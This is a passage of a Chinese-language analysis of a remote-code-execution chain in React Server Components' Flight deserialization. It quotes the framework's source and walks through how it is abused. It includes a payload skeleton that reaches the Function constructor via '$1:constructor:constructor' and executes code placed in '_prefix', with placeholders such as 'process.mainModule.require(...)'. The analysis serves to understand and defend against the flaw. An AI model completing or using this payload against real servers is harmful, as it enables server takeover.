chunk[1].status = INITIALIZED;
chunk[1].value  = chunk[0];  // 这点和你说的一致：一个 chunk 指向另一个 chunk

let value = chunk.value; // = chunk[1].value = chunk[0]
for (let i = 1; i < path.length; i++) {
  // unwrap ReactPromise（如果需要）
  while (value instanceof ReactPromise) { ... }

  const name = path[i]; // 依次为 "constructor"、"constructor"
  if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
    value = value[name];
  }
}
const chunkValue = map(response, value, parentObject, key); // map = createModel
return chunkValue;

value                       // chunk[0]
  → value["constructor"]    // Chunk 构造函数
  → value["constructor"]["constructor"] // Function 构造器

"_response": {
  "_prefix": "恶意代码",
  "_formData": {
    "get": "$1:constructor:constructor"
  }
}

parseModelString(response, _response, "_prefix", "process.mainModule.require(...)", ...)
→ value[0] !== '$' → 直接返回原字符串

response._formData.get === Function;
response._prefix       === 恶意代码

inner = { then: "$B" }; // JSON.parse 得到内部对象：
  ↓
// parentObj = inner, parentKey = "then", value = "$B"
parseModelString(response, inner, "then", "$B", "0:value:then")  // 对 inner.then 做一次 reviveModel
  ↓
//parseModelString 看到首字是 $，次字是 B，走 case 'B' 分支（Blob）：
case 'B': {
  const id = parseInt(value.slice(2), 16);  // "" → 0x00
  const prefix = response._prefix;          // 已被我们塞成 Node 代码
  const blobKey = prefix + id;              // 关键：拼接成一整段 JS 字符串
  const backingEntry = response._formData.get(blobKey);
  return backingEntry;
}

const backingEntry = Function(blobKey);

// 概念化示意：
const blobKey = "恶意代码";
const f = Function(blobKey);   // function f() { 恶意代码 }

inner.then = f;   // f 的函数体就是塞在 _prefix 里的那段 恶意代码

export function getRoot(response: Response): Thenable<T> {
  const chunk = getChunk(response, 0);
  return (chunk: any);
}

ReactPromise.prototype.then = function(resolve, reject) {
  const chunk = this;
  ...
  switch (chunk.status) {
    case INITIALIZED:
      if (typeof resolve === 'function') {
        resolve(chunk.value);
      }
      break;
    ...
  }
}

chunk0.then(resolve, reject); // resolve 是内部创建的 Promise resolve 函数

resolve(chunk0.value);  // 把整个 payload 对象交给 Promise 机制

// 某个时刻
f();  // 函数体来自 Function(blobKey)，里面调用了 恶意代码

if (typeof value === 'string') {
  return parseModelString(response, parentObj, parentKey, value, reference);
}
...
for (const key in value) {
  if (hasOwnProperty.call(value, key)) {
    const childRef = reference !== undefined && key.indexOf(':') === -1
      ? reference + ':' + key
      : undefined;
    const newValue = reviveModel(response, value, key, value[key], childRef);
    if (newValue !== undefined || key === '__proto__') {
      value[key] = newValue;
    } else {
      delete value[key];
    }
  }
}